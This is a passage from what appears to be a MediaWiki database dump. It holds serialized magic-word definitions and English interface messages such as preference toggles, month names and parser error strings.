localday2\";a:2:{i:0;i:1;i:1;s:9:\"LOCALDAY2\";}s:12:\"localdayname\";a:2:{i:0;i:1;i:1;s:12:\"LOCALDAYNAME\";}s:9:\"localyear\";a:2:{i:0;i:1;i:1;s:9:\"LOCALYEAR\";}s:9:\"localtime\";a:2:{i:0;i:1;i:1;s:9:\"LOCALTIME\";}s:9:\"localhour\";a:2:{i:0;i:1;i:1;s:9:\"LOCALHOUR\";}s:13:\"numberofpages\";a:2:{i:0;i:1;i:1;s:13:\"NUMBEROFPAGES\";}s:16:\"numberofarticles\";a:2:{i:0;i:1;i:1;s:16:\"NUMBEROFARTICLES\";}s:13:\"numberoffiles\";a:2:{i:0;i:1;i:1;s:13:\"NUMBEROFFILES\";}s:13:\"numberofusers\";a:2:{i:0;i:1;i:1;s:13:\"NUMBEROFUSERS\";}s:19:\"numberofactiveusers\";a:2:{i:0;i:1;i:1;s:19:\"NUMBEROFACTIVEUSERS\";}s:13:\"numberofedits\";a:2:{i:0;i:1;i:1;s:13:\"NUMBEROFEDITS\";}s:13:\"numberofviews\";a:2:{i:0;i:1;i:1;s:13:\"NUMBEROFVIEWS\";}s:8:\"pagename\";a:2:{i:0;i:1;i:1;s:8:\"PAGENAME\";}s:9:\"pagenamee\";a:2:{i:0;i:1;i:1;s:9:\"PAGENAMEE\";}s:9:\"namespace\";a:2:{i:0;i:1;i:1;s:9:\"NAMESPACE\";}s:10:\"namespacee\";a:2:{i:0;i:1;i:1;s:10:\"NAMESPACEE\";}s:9:\"talkspace\";a:2:{i:0;i:1;i:1;s:9:\"TALKSPACE\";}s:10:\"talkspacee\";a:2:{i:0;i:1;i:1;s:10:\"TALKSPACEE\";}s:12:\"subjectspace\";a:3:{i:0;i:1;i:1;s:12:\"SUBJECTSPACE\";i:2;s:12:\"ARTICLESPACE\";}s:13:\"subjectspacee\";a:3:{i:0;i:1;i:1;s:13:\"SUBJECTSPACEE\";i:2;s:13:\"ARTICLESPACEE\";}s:12:\"fullpagename\";a:2:{i:0;i:1;i:1;s:12:\"FULLPAGENAME\";}s:13:\"fullpagenamee\";a:2:{i:0;i:1;i:1;s:13:\"FULLPAGENAMEE\";}s:11:\"subpagename\";a:2:{i:0;i:1;i:1;s:11:\"SUBPAGENAME\";}s:12:\"subpagenamee\";a:2:{i:0;i:1;i:1;s:12:\"SUBPAGENAMEE\";}s:12:\"basepagename\";a:2:{i:0;i:1;i:1;s:12:\"BASEPAGENAME\";}s:13:\"basepagenamee\";a:2:{i:0;i:1;i:1;s:13:\"BASEPAGENAMEE\";}s:12:\"talkpagename\";a:2:{i:0;i:1;i:1;s:12:\"TALKPAGENAME\";}s:13:\"talkpagenamee\";a:2:{i:0;i:1;i:1;s:13:\"TALKPAGENAMEE\";}s:15:\"subjectpagename\";a:3:{i:0;i:1;i:1;s:15:\"SUBJECTPAGENAME\";i:2;s:15:\"ARTICLEPAGENAME\";}s:16:\"subjectpagenamee\";a:3:{i:0;i:1;i:1;s:16:\"SUBJECTPAGENAMEE\";i:2;s:16:\"ARTICLEPAGENAMEE\";}s:3:\"msg\";a:2:{i:0;i:0;i:1;s:4:\"MSG:\";}s:5:\"subst\";a:2:{i:0;i:0;i:1;s:6:\"SUBST:\";}s:9:\"safesubst\";a:2:{i:0;i:0;i:1;s:10:\"SAFESUBST:\";}s:5:\"msgnw\";a:2:{i:0;i:0;i:1;s:6:\"MSGNW:\";}s:13:\"img_thumbnail\";a:3:{i:0;i:1;i:1;s:9:\"thumbnail\";i:2;s:5:\"thumb\";}s:15:\"img_manualthumb\";a:3:{i:0;i:1;i:1;s:12:\"thumbnail=$1\";i:2;s:8:\"thumb=$1\";}s:9:\"img_right\";a:2:{i:0;i:1;i:1;s:5:\"right\";}s:8:\"img_left\";a:2:{i:0;i:1;i:1;s:4:\"left\";}s:8:\"img_none\";a:2:{i:0;i:1;i:1;s:4:\"none\";}s:9:\"img_width\";a:2:{i:0;i:1;i:1;s:4:\"$1px\";}s:10:\"img_center\";a:3:{i:0;i:1;i:1;s:6:\"center\";i:2;s:6:\"centre\";}s:10:\"img_framed\";a:4:{i:0;i:1;i:1;s:6:\"framed\";i:2;s:8:\"enframed\";i:3;s:5:\"frame\";}s:13:\"img_frameless\";a:2:{i:0;i:1;i:1;s:9:\"frameless\";}s:8:\"img_page\";a:3:{i:0;i:1;i:1;s:7:\"page=$1\";i:2;s:7:\"page $1\";}s:11:\"img_upright\";a:4:{i:0;i:1;i:1;s:7:\"upright\";i:2;s:10:\"upright=$1\";i:3;s:10:\"upright $1\";}s:10:\"img_border\";a:2:{i:0;i:1;i:1;s:6:\"border\";}s:12:\"img_baseline\";a:2:{i:0;i:1;i:1;s:8:\"baseline\";}s:7:\"img_sub\";a:2:{i:0;i:1;i:1;s:3:\"sub\";}s:9:\"img_super\";a:3:{i:0;i:1;i:1;s:5:\"super\";i:2;s:3:\"sup\";}s:7:\"img_top\";a:2:{i:0;i:1;i:1;s:3:\"top\";}s:12:\"img_text_top\";a:2:{i:0;i:1;i:1;s:8:\"text-top\";}s:10:\"img_middle\";a:2:{i:0;i:1;i:1;s:6:\"middle\";}s:10:\"img_bottom\";a:2:{i:0;i:1;i:1;s:6:\"bottom\";}s:15:\"img_text_bottom\";a:2:{i:0;i:1;i:1;s:11:\"text-bottom\";}s:8:\"img_link\";a:2:{i:0;i:1;i:1;s:7:\"link=$1\";}s:7:\"img_alt\";a:2:{i:0;i:1;i:1;s:6:\"alt=$1\";}s:3:\"int\";a:2:{i:0;i:0;i:1;s:4:\"INT:\";}s:8:\"sitename\";a:2:{i:0;i:1;i:1;s:8:\"SITENAME\";}s:2:\"ns\";a:2:{i:0;i:0;i:1;s:3:\"NS:\";}s:3:\"nse\";a:2:{i:0;i:0;i:1;s:4:\"NSE:\";}s:8:\"localurl\";a:2:{i:0;i:0;i:1;s:9:\"LOCALURL:\";}s:9:\"localurle\";a:2:{i:0;i:0;i:1;s:10:\"LOCALURLE:\";}s:6:\"server\";a:2:{i:0;i:0;i:1;s:6:\"SERVER\";}s:10:\"servername\";a:2:{i:0;i:0;i:1;s:10:\"SERVERNAME\";}s:10:\"scriptpath\";a:2:{i:0;i:0;i:1;s:10:\"SCRIPTPATH\";}s:9:\"stylepath\";a:2:{i:0;i:0;i:1;s:9:\"STYLEPATH\";}s:7:\"grammar\";a:2:{i:0;i:0;i:1;s:8:\"GRAMMAR:\";}s:6:\"gender\";a:2:{i:0;i:0;i:1;s:7:\"GENDER:\";}s:14:\"notitleconvert\";a:3:{i:0;i:0;i:1;s:18:\"__NOTITLECONVERT__\";i:2;s:8:\"__NOTC__\";}s:16:\"nocontentconvert\";a:3:{i:0;i:0;i:1;s:20:\"__NOCONTENTCONVERT__\";i:2;s:8:\"__NOCC__\";}s:11:\"currentweek\";a:2:{i:0;i:1;i:1;s:11:\"CURRENTWEEK\";}s:10:\"currentdow\";a:2:{i:0;i:1;i:1;s:10:\"CURRENTDOW\";}s:9:\"localweek\";a:2:{i:0;i:1;i:1;s:9:\"LOCALWEEK\";}s:8:\"localdow\";a:2:{i:0;i:1;i:1;s:8:\"LOCALDOW\";}s:10:\"revisionid\";a:2:{i:0;i:1;i:1;s:10:\"REVISIONID\";}s:11:\"revisionday\";a:2:{i:0;i:1;i:1;s:11:\"REVISIONDAY\";}s:12:\"revisionday2\";a:2:{i:0;i:1;i:1;s:12:\"REVISIONDAY2\";}s:13:\"revisionmonth\";a:2:{i:0;i:1;i:1;s:13:\"REVISIONMONTH\";}s:12:\"revisionyear\";a:2:{i:0;i:1;i:1;s:12:\"REVISIONYEAR\";}s:17:\"revisiontimestamp\";a:2:{i:0;i:1;i:1;s:17:\"REVISIONTIMESTAMP\";}s:12:\"revisionuser\";a:2:{i:0;i:1;i:1;s:12:\"REVISIONUSER\";}s:6:\"plural\";a:2:{i:0;i:0;i:1;s:7:\"PLURAL:\";}s:7:\"fullurl\";a:2:{i:0;i:0;i:1;s:8:\"FULLURL:\";}s:8:\"fullurle\";a:2:{i:0;i:0;i:1;s:9:\"FULLURLE:\";}s:7:\"lcfirst\";a:2:{i:0;i:0;i:1;s:8:\"LCFIRST:\";}s:7:\"ucfirst\";a:2:{i:0;i:0;i:1;s:8:\"UCFIRST:\";}s:2:\"lc\";a:2:{i:0;i:0;i:1;s:3:\"LC:\";}s:2:\"uc\";a:2:{i:0;i:0;i:1;s:3:\"UC:\";}s:3:\"raw\";a:2:{i:0;i:0;i:1;s:4:\"RAW:\";}s:12:\"displaytitle\";a:2:{i:0;i:1;i:1;s:12:\"DISPLAYTITLE\";}s:9:\"rawsuffix\";a:2:{i:0;i:1;i:1;s:1:\"R\";}s:14:\"newsectionlink\";a:2:{i:0;i:1;i:1;s:18:\"__NEWSECTIONLINK__\";}s:16:\"nonewsectionlink\";a:2:{i:0;i:1;i:1;s:20:\"__NONEWSECTIONLINK__\";}s:14:\"currentversion\";a:2:{i:0;i:1;i:1;s:14:\"CURRENTVERSION\";}s:9:\"urlencode\";a:2:{i:0;i:0;i:1;s:10:\"URLENCODE:\";}s:12:\"anchorencode\";a:2:{i:0;i:0;i:1;s:12:\"ANCHORENCODE\";}s:16:\"currenttimestamp\";a:2:{i:0;i:1;i:1;s:16:\"CURRENTTIMESTAMP\";}s:14:\"localtimestamp\";a:2:{i:0;i:1;i:1;s:14:\"LOCALTIMESTAMP\";}s:13:\"directionmark\";a:3:{i:0;i:1;i:1;s:13:\"DIRECTIONMARK\";i:2;s:7:\"DIRMARK\";}s:8:\"language\";a:2:{i:0;i:0;i:1;s:10:\"#LANGUAGE:\";}s:15:\"contentlanguage\";a:3:{i:0;i:1;i:1;s:15:\"CONTENTLANGUAGE\";i:2;s:11:\"CONTENTLANG\";}s:16:\"pagesinnamespace\";a:3:{i:0;i:1;i:1;s:17:\"PAGESINNAMESPACE:\";i:2;s:10:\"PAGESINNS:\";}s:14:\"numberofadmins\";a:2:{i:0;i:1;i:1;s:14:\"NUMBEROFADMINS\";}s:9:\"formatnum\";a:2:{i:0;i:0;i:1;s:9:\"FORMATNUM\";}s:7:\"padleft\";a:2:{i:0;i:0;i:1;s:7:\"PADLEFT\";}s:8:\"padright\";a:2:{i:0;i:0;i:1;s:8:\"PADRIGHT\";}s:7:\"special\";a:2:{i:0;i:0;i:1;s:7:\"special\";}s:11:\"defaultsort\";a:4:{i:0;i:1;i:1;s:12:\"DEFAULTSORT:\";i:2;s:15:\"DEFAULTSORTKEY:\";i:3;s:20:\"DEFAULTCATEGORYSORT:\";}s:8:\"filepath\";a:2:{i:0;i:0;i:1;s:9:\"FILEPATH:\";}s:3:\"tag\";a:2:{i:0;i:0;i:1;s:3:\"tag\";}s:9:\"hiddencat\";a:2:{i:0;i:1;i:1;s:13:\"__HIDDENCAT__\";}s:15:\"pagesincategory\";a:3:{i:0;i:1;i:1;s:15:\"PAGESINCATEGORY\";i:2;s:10:\"PAGESINCAT\";}s:8:\"pagesize\";a:2:{i:0;i:1;i:1;s:8:\"PAGESIZE\";}s:5:\"index\";a:2:{i:0;i:1;i:1;s:9:\"__INDEX__\";}s:7:\"noindex\";a:2:{i:0;i:1;i:1;s:11:\"__NOINDEX__\";}s:13:\"numberingroup\";a:3:{i:0;i:1;i:1;s:13:\"NUMBERINGROUP\";i:2;s:10:\"NUMINGROUP\";}s:14:\"staticredirect\";a:2:{i:0;i:1;i:1;s:18:\"__STATICREDIRECT__\";}s:15:\"protectionlevel\";a:2:{i:0;i:1;i:1;s:15:\"PROTECTIONLEVEL\";}s:10:\"formatdate\";a:3:{i:0;i:0;i:1;s:10:\"formatdate\";i:2;s:10:\"dateformat\";}}'),('en','messages:pfunc_desc','s:37:\"Enhance parser with logical functions\";'),('en','messages:pfunc_time_error','s:19:\"Error: invalid time\";'),('en','messages:pfunc_time_too_long','s:27:\"Error: too many #time calls\";'),('en','messages:pfunc_rel2abs_invalid_depth','s:79:\"Error: Invalid depth in path: \"$1\" (tried to access a node above the root node)\";'),('en','messages:pfunc_expr_stack_exhausted','s:33:\"Expression error: Stack exhausted\";'),('en','messages:pfunc_expr_unexpected_number','s:35:\"Expression error: Unexpected number\";'),('en','messages:pfunc_expr_preg_match_failure','s:47:\"Expression error: Unexpected preg_match failure\";'),('en','messages:pfunc_expr_unrecognised_word','s:40:\"Expression error: Unrecognised word \"$1\"\";'),('en','messages:pfunc_expr_unexpected_operator','s:40:\"Expression error: Unexpected $1 operator\";'),('en','messages:pfunc_expr_missing_operand','s:40:\"Expression error: Missing operand for $1\";'),('en','messages:pfunc_expr_unexpected_closing_bracket','s:44:\"Expression error: Unexpected closing bracket\";'),('en','messages:pfunc_expr_unrecognised_punctuation','s:57:\"Expression error: Unrecognised punctuation character \"$1\"\";'),('en','messages:pfunc_expr_unclosed_bracket','s:34:\"Expression error: Unclosed bracket\";'),('en','messages:pfunc_expr_division_by_zero','s:16:\"Division by zero\";'),('en','messages:pfunc_expr_invalid_argument','s:36:\"Invalid argument for $1: < -1 or > 1\";'),('en','messages:pfunc_expr_invalid_argument_ln','s:29:\"Invalid argument for ln: <= 0\";'),('en','messages:pfunc_expr_unknown_error','s:36:\"Expression error: Unknown error ($1)\";'),('en','messages:pfunc_expr_not_a_number','s:29:\"In $1: result is not a number\";'),('en','messages:sidebar','s:214:\"\n* navigation\n** mainpage|mainpage-description\n** portal-url|portal\n** currentevents-url|currentevents\n** recentchanges-url|recentchanges\n** randompage-url|randompage\n** helppage|help\n* SEARCH\n* TOOLBOX\n* LANGUAGES\";'),('en','messages:tog-underline','s:17:\"Link underlining:\";'),('en','messages:tog-highlightbroken','s:114:\"Format broken links <a href=\"\" class=\"new\">like this</a> (alternative: like this<a href=\"\" class=\"internal\">?</a>)\";'),('en','messages:tog-justify','s:18:\"Justify paragraphs\";'),('en','messages:tog-hideminor','s:34:\"Hide minor edits in recent changes\";'),('en','messages:tog-hidepatrolled','s:38:\"Hide patrolled edits in recent changes\";'),('en','messages:tog-newpageshidepatrolled','s:39:\"Hide patrolled pages from new page list\";'),('en','messages:tog-extendwatchlist','s:62:\"Expand watchlist to show all changes, not just the most recent\";'),('en','messages:tog-usenewrc','s:49:\"Use enhanced recent changes (requires JavaScript)\";'),('en','messages:tog-numberheadings','s:20:\"Auto-number headings\";'),('en','messages:tog-showtoolbar','s:39:\"Show edit toolbar (requires JavaScript)\";'),('en','messages:tog-editondblclick','s:48:\"Edit pages on double click (requires JavaScript)\";'),('en','messages:tog-editsection','s:39:\"Enable section editing via [edit] links\";'),('en','messages:tog-editsectiononrightclick','s:80:\"Enable section editing by right clicking on section titles (requires JavaScript)\";'),('en','messages:tog-showtoc','s:60:\"Show table of contents (for pages with more than 3 headings)\";'),('en','messages:tog-rememberpassword','s:34:\"Remember my login on this computer\";'),('en','messages:tog-editwidth','s:44:\"Widen the edit box to fill the entire screen\";'),('en','messages:tog-watchcreations','s:34:\"Add pages I create to my watchlist\";'),('en','messages:tog-watchdefault','s:32:\"Add pages I edit to my watchlist\";'),('en','messages:tog-watchmoves','s:32:\"Add pages I move to my watchlist\";'),('en','messages:tog-watchdeletion','s:34:\"Add pages I delete to my watchlist\";'),('en','messages:tog-minordefault','s:31:\"Mark all edits minor by default\";'),('en','messages:tog-previewontop','s:28:\"Show preview before edit box\";'),('en','messages:tog-previewonfirst','s:26:\"Show preview on first edit\";'),('en','messages:tog-nocache','s:20:\"Disable page caching\";'),('en','messages:tog-enotifwatchlistpages','s:48:\"E-mail me when a page on my watchlist is changed\";'),('en','messages:tog-enotifusertalkpages','s:43:\"E-mail me when my user talk page is changed\";'),('en','messages:tog-enotifminoredits','s:39:\"E-mail me also for minor edits of pages\";'),('en','messages:tog-enotifrevealaddr','s:48:\"Reveal my e-mail address in notification e-mails\";'),('en','messages:tog-shownumberswatching','s:33:\"Show the number of watching users\";'),('en','messages:tog-oldsig','s:30:\"Preview of existing signature:\";'),('en','messages:tog-fancysig','s:55:\"Treat signature as wikitext (without an automatic link)\";'),('en','messages:tog-externaleditor','s:90:\"Use external editor by default (for experts only, needs special settings on your computer)\";'),('en','messages:tog-externaldiff','s:88:\"Use external diff by default (for experts only, needs special settings on your computer)\";'),('en','messages:tog-showjumplinks','s:36:\"Enable \"jump to\" accessibility links\";'),('en','messages:tog-uselivepreview','s:53:\"Use live preview (requires JavaScript) (experimental)\";'),('en','messages:tog-forceeditsummary','s:44:\"Prompt me when entering a blank edit summary\";'),('en','messages:tog-watchlisthideown','s:32:\"Hide my edits from the watchlist\";'),('en','messages:tog-watchlisthidebots','s:33:\"Hide bot edits from the watchlist\";'),('en','messages:tog-watchlisthideminor','s:35:\"Hide minor edits from the watchlist\";'),('en','messages:tog-watchlisthideliu','s:48:\"Hide edits by logged in users from the watchlist\";'),('en','messages:tog-watchlisthideanons','s:48:\"Hide edits by anonymous users from the watchlist\";'),('en','messages:tog-watchlisthidepatrolled','s:39:\"Hide patrolled edits from the watchlist\";'),('en','messages:tog-nolangconversion','s:27:\"Disable variants conversion\";'),('en','messages:tog-ccmeonemails','s:47:\"Send me copies of e-mails I send to other users\";'),('en','messages:tog-diffonly','s:36:\"Do not show page content below diffs\";'),('en','messages:tog-showhiddencats','s:22:\"Show hidden categories\";'),('en','messages:tog-noconvertlink','s:29:\"Disable link title conversion\";'),('en','messages:tog-norollbackdiff','s:37:\"Omit diff after performing a rollback\";'),('en','messages:underline-always','s:6:\"Always\";'),('en','messages:underline-never','s:5:\"Never\";'),('en','messages:underline-default','s:15:\"Browser default\";'),('en','messages:editfont-style','s:21:\"Edit area font style:\";'),('en','messages:editfont-default','s:15:\"Browser default\";'),('en','messages:editfont-monospace','s:15:\"Monospaced font\";'),('en','messages:editfont-sansserif','s:15:\"Sans-serif font\";'),('en','messages:editfont-serif','s:10:\"Serif font\";'),('en','messages:sunday','s:6:\"Sunday\";'),('en','messages:monday','s:6:\"Monday\";'),('en','messages:tuesday','s:7:\"Tuesday\";'),('en','messages:wednesday','s:9:\"Wednesday\";'),('en','messages:thursday','s:8:\"Thursday\";'),('en','messages:friday','s:6:\"Friday\";'),('en','messages:saturday','s:8:\"Saturday\";'),('en','messages:sun','s:3:\"Sun\";'),('en','messages:mon','s:3:\"Mon\";'),('en','messages:tue','s:3:\"Tue\";'),('en','messages:wed','s:3:\"Wed\";'),('en','messages:thu','s:3:\"Thu\";'),('en','messages:fri','s:3:\"Fri\";'),('en','messages:sat','s:3:\"Sat\";'),('en','messages:january','s:7:\"January\";'),('en','messages:february','s:8:\"February\";'),('en','messages:march','s:5:\"March\";'),('en','messages:april','s:5:\"April\";'),('en','messages:may_long','s:3:\"May\";'),('en','messages:june','s:4:\"June\";'),('en','messages:july','s:4:\"July\";'),('en','messages:august','s:6:\"August\";'),('en','messages:september','s:9:\"September\";'),('en','messages:october','s:7:\"October\";'),('en','messages:november','s:8:\"November\";'),('en','messages:december','s:8:\"December\";'),('en','messages:january-gen','s:7:\"January\";'),('en','messages:february-gen','s:8:\"February\";'),('en','messages:march-gen','s:5:\"March\";'),('en','messages:april-gen','s:5:\"April\";'),('en','messages:may-gen','s:3:\"May\";'),('en','messages:june-gen','s:4:\"June\";'),('en','messages:july-gen','s:4:\"July\";'),('en','messages:august-gen','s:6:\"August\";'),('en','messages:september-gen','s:9:\"September\";'),('en','messages:october-gen','s:7:\"October\";'),('en','messages:november-gen','s:8:\"November\";'),('en','messages:december-gen','s:8:\"December\";'),('en','messages:jan','s:3:\"Jan\";'),('en','messages:feb','s:3:\"Feb\";'),('en','messages:mar','s:3:\"Mar\";'),('en','messages:apr','s:3:\"Apr\";'),('en','messages:may','s:3:\"May\";'),('en','messages:jun','s:3:\"Jun\";'),('en','messages:jul','s:3:\"Jul\";'),('en','messages:aug','s:3:\"Aug\";'),('en','messages:sep','s:3:\"Sep\";'),('en','messages:oct','s:3:\"Oct\";'),('en','messages:nov','s:3:\"Nov\";'),('en','messages:dec','s:3:\"Dec\";'),('en','messages:pagecategories','s:33:\"{{PLURAL:$1|Category|Categories}}\";'),('en','messages:pagecategorieslink','s:18:\"Special:Categories\";'),('en','messages:category_header','s:22:\"Pages in category \"$1\"\";'),('en','messages:subcategories','s:13:\"Subcategories\";'),('en','messages:category-media-header','s:22:\"Media in category \"$1\"\";'),('en','messages:category-empty','s:55:\"\'\'This category currently contains no pages or media.\'\'\";'),('en','messages:hidden-categories','s:47:\"{{PLURAL:$1|Hidden category|Hidden categories}}\";'),('en','messages:hidden-category-category','s:17:\"Hidden categories\";'),('en','messages:category-subcat-count','s:156:\"{{PLURAL:$2|This category has only the following subcategory.|This category has the following {{PLURAL:$1|subcategory|$1 subcategories}}, out of $2 total.}}\";'),('en','messages:category-subcat-count-limited','s:75:\"This category has the following {{PLURAL:$1|subcategory|$1 subcategories}}.\";'),('en','messages:category-article-count','s:145:\"{{PLURAL:$2|This category contains only the following page.|The following {{PLURAL:$1|page is|$1 pages are}} in this category, out of $2 total.}}\";'),('en','messages:category-article-count-limited','s:73:\"The following {{PLURAL:$1|page is|$1 pages are}} in the current category.\";'),('en','messages:category-file-count','s:145:\"{{PLURAL:$2|This category contains only the following file.|The following {{PLURAL:$1|file is|$1 files are}} in this category, out of $2 total.}}\";'),('en','messages:category-file-count-limited','s:73:\"The following {{PLURAL:$1|file is|$1 files are}} in the current category.\";'),('en','messages:listingcontinuesabbrev','s:5:\"cont.\";'),('en','messages:index-category','s:13:\"Indexed pages\";'),('en','messages:noindex-category','s:15:\"Noindexed pages\";'),('en','messages:linkprefix','s:31:\"/^(.*?)([a-zA-Z\\x80-\\xff]+)$/sD\";'),('en','messages:mainpagetext','s:48:\"\'\'\'MediaWiki has been successfully installed.\'\'\'\";'),('en','messages:mainpagedocfooter','s:388:\"Consult the [http://meta.wikimedia.org/wiki/Help:Contents User\'s Guide] for information on using the wiki software.\n\n== Getting started ==\n* [http://www.mediawiki.org/wiki/Manual:Configuration_settings Configuration settings list]\n* [http://www.mediawiki.org/wiki/Manual:FAQ MediaWiki FAQ]\n* [https://lists.wikimedia.org/mailman/listinfo/mediawiki-announce MediaWiki release mailing list]\";'),('en','messages:about','s:5:\"About\";'),('en','messages:article','s:12:\"Content page\";'),('en','messages:newwindow','s:21:\"(opens in new window)\";'),('en','messages:cancel','s:6:\"Cancel\";'),('en','messages:moredotdotdot','s:7:\"More...\";'),('en','messages:mypage','s:7:\"My page\";'),('en','messages:mytalk','s:7:\"My talk\";'),('en','messages:anontalk','s:24:\"Talk for this IP address\";'),('en','messages:navigation','s:10:\"Navigation\";'),('en','messages:and','s:8:\"&#32;and\";'),('en','messages:qbfind','s:4:\"Find\";'),('en','messages:qbbrowse','s:6:\"Browse\";'),('en','messages:qbedit','s:4:\"Edit\";'),('en','messages:qbpageoptions','s:9:\"This page\";'),('en','messages:qbpageinfo','s:7:\"Context\";'),('en','messages:qbmyoptions','s:8:\"My pages\";'),('en','messages:qbspecialpages','s:13:\"Special pages\";'),('en','messages:faq','s:3:\"FAQ\";'),('en','messages:faqpage','s:11:\"Project:FAQ\";'),('en','messages:sitetitle','s:12:\"{{SITENAME}}\";'),('en','messages:sitesubtitle','s:0:\"\";'),('en','messages:vector-action-addsection','s:9:\"Add topic\";'),('en','messages:vector-action-delete','s:6:\"Delete\";'),('en','messages:vector-action-move','s:4:\"Move\";'),('en','messages:vector-action-protect','s:7:\"Protect\";'),('en','messages:vector-action-undelete','s:8:\"Undelete\";'),('en','messages:vector-action-unprotect','s:9:\"Unprotect\";'),('en','messages:vector-namespace-category','s:8:\"Category\";'),('en','messages:vector-namespace-help','s:9:\"Help page\";'),('en','messages:vector-namespace-image','s:4:\"File\";'),('en','messages:vector-namespace-main','s:4:\"Page\";'),('en','messages:vector-namespace-media','s:10:\"Media page\";'),('en','messages:vector-namespace-mediawiki','s:7:\"Message\";'),('en','messages:vector-namespace-project','s:12:\"Project page\";'),('en','messages:vector-namespace-special','s:12:\"Special page\";'),('en','messages:vector-namespace-talk','s:10:\"Discussion\";'),('en','messages:vector-namespace-template','s:8:\"Template\";'),('en','messages:vector-namespace-user','s:9:\"User page\";'),('en','messages:vector-view-create','s:6:\"Create\";'),('en','messages:vector-view-edit','s:4:\"Edit\";'),('en','messages:vector-view-history','s:12:\"View history\";'),('en','messages:vector-view-view','s:4:\"Read\";'),('en','messages:vector-view-viewsource','s:11:\"View source\";'),('en','messages:actions','s:7:\"Actions\";'),('en','messages:namespaces','s:10:\"Namespaces\";'),('en','messages:variants','s:8:\"Variants\";'),('en','messages:errorpagetitle','s:5:\"Error\";'),('en','messages:returnto','s:13:\"Return to $1.\";'),('en','messages:tagline','s:17:\"From {{SITENAME}}\";'),('en','messages:help','s:4:\"Help\";'),('en','messages:search','s:6:\"Search\";'),('en','messages:searchbutton','s:6:\"Search\";'),('en','messages:go','s:2:\"Go\";'),('en','messages:searcharticle','s:2:\"Go\";'),('en','messages:history','s:12:\"Page history\";'),('en','messages:history_short','s:7:\"History\";'),('en','messages:updatedmarker','s:27:\"updated since my last visit\";'),('en','messages:info_short','s:11:\"Information\";'),('en','messages:printableversion','s:17:\"Printable version\";'),('en','messages:permalink','s:14:\"Permanent link\";'),('en','messages:print','s:5:\"Print\";'),('en','messages:edit','s:4:\"Edit\";'),('en','messages:create','s:6:\"Create\";'),('en','messages:editthispage','s:14:\"Edit this page\";'),('en','messages:create-this-page','s:16:\"Create this page\";'),('en','messages:delete','s:6:\"Delete\";'),('en','messages:deletethispage','s:16:\"Delete this page\";'),('en','messages:undelete_short','s:40:\"Undelete {{PLURAL:$1|one edit|$1 edits}}\";'),('en','messages:protect','s:7:\"Protect\";'),('en','messages:protect_change','s:6:\"change\";'),('en','messages:protectthispage','s:17:\"Protect this page\";'),('en','messages:unprotect','s:9:\"Unprotect\";'),('en','messages:unprotectthispage','s:19:\"Unprotect this page\";'),('en','messages:newpage','s:8:\"New page\";'),('en','messages:talkpage','s:17:\"Discuss this page\";'),('en','messages:talkpagelinktext','s:4:\"Talk\";'),('en','messages:specialpage','s:12:\"Special page\";'),('en','messages:personaltools','s:14:\"Personal tools\";'),('en','messages:postcomment','s:11:\"New section\";'),('en','messages:addsection','s:1:\"+\";'),('en','messages:articlepage','s:17:\"View content page\";'),('en','messages:talk','s:10:\"Discussion\";'),('en','messages:views','s:5:\"Views\";'),('en','messages:toolbox','s:7:\"Toolbox\";'),('en','messages:userpage','s:14:\"View user page\";'),('en','messages:projectpage','s:17:\"View project page\";'),('en','messages:imagepage','s:14:\"View file page\";'),('en','messages:mediawikipage','s:17:\"View message page\";'),('en','messages:templatepage','s:18:\"View template page\";'),('en','messages:viewhelppage','s:14:\"View help page\";'),('en','messages:categorypage','s:18:\"View category page\";'),('en','messages:viewtalkpage','s:15:\"View discussion\";'),('en','messages:otherlanguages','s:18:\"In other languages\";'),('en','messages:redirectedfrom','s:20:\"(Redirected from $1)\";'),('en','messages:redirectpagesub','s:13:\"Redirect page\";'),('en','messages:talkpageheader','s:1:\"-\";'),('en','messages:lastmodifiedat','s:41:\"This page was last modified on $1, at $2.\";'),('en','messages:viewcount','s:56:\"This page has been accessed {{PLURAL:$1|once|$1 times}}.\";'),('en','messages:protectedpage','s:14:\"Protected page\";'),('en','messages:jumpto','s:8:\"Jump to:\";'),('en','messages:jumptonavigation','s:10:\"navigation\";'),('en','messages:jumptosearch','s:6:\"search\";'),('en','messages:view-pool-error','s:159:\"Sorry, the servers are overloaded at the moment.\nToo many users are trying to view this page.\nPlease wait a while before you try to access this page again.\n\n$1\";'),('en','messages:aboutsite','s:18:\"About {{SITENAME}}\";'),('en','messages:aboutpage','s:13:\"Project:About\";'),('en','messages:copyright','s:30:\"Content is available under $1.\";'),('en','messages:copyrightpage','s:25:\"{{ns:project}}:Copyrights\";'),('en','messages:currentevents','s:14:\"Current events\";'),('en','messages:currentevents-url','s:22:\"Project:Current events\";'),('en','messages:disclaimers','s:11:\"Disclaimers\";'),('en','messages:disclaimerpage','s:26:\"Project:General disclaimer\";'),('en','messages:edithelp','s:12:\"Editing help\";'),('en','messages:edithelppage','s:12:\"Help:Editing\";'),('en','messages:helppage','s:13:\"Help:Contents\";'),('en','messages:mainpage','s:9:\"Main Page\";'),('en','messages:mainpage-description','s:9:\"Main page\";'),('en','messages:policy-url','s:14:\"Project:Policy\";'),('en','messages:portal','s:16:\"Community portal\";'),('en','messages:portal-url','s:24:\"Project:Community portal\";'),('en','messages:privacy','s:14:\"Privacy policy\";'),('en','messages:privacypage','s:22:\"Project:Privacy policy\";'),('en','messages:badaccess','s:16:\"Permission error\";'),('en','messages:badaccess-group0','s:61:\"You are not allowed to execute the action you have requested.\";'),('en','messages:badaccess-groups','s:99:\"The action you have requested is limited to users in {{PLURAL:$2|the group|one of the groups}}: $1.\";'),('en','messages:versionrequired','s:32:\"Version $1 of MediaWiki required\";'),('en','messages:versionrequiredtext','s:91:\"Version $1 of MediaWiki is required to use this page.\nSee [[Special:Version|version page]].\";'),('en','messages:ok','s:2:\"OK\";'),('en','messages:pagetitle','s:17:\"$1 - {{SITENAME}}\";'),('en','messages:pagetitle-view-mainpage','s:12:\"{{SITENAME}}\";'),('en','messages:retrievedfrom','s:19:\"Retrieved from \"$1\"\";'),('en','messages:youhavenewmessages','s:17:\"You have $1 ($2).\";'),('en','messages:newmessageslink','s:12:\"new messages\";'),('en','messages:newmessagesdifflink','s:11:\"last change\";'),('en','messages:youhavenewmessagesmulti','s:27:\"You have new messages on $1\";'),('en','messages:newtalkseparator','s:6:\",&#32;\";'),('en','messages:editsection','s:4:\"edit\";'),('en','messages:editsection-brackets','s:4:\"[$1]\";'),('en','messages:editold','s:4:\"edit\";'),('en','messages:viewsourceold','s:11:\"view source\";'),('en','messages:editlink','s:4:\"edit\";'),('en','messages:viewsourcelink','s:11:\"view source\";'),('en','messages:editsectionhint','s:16:\"Edit 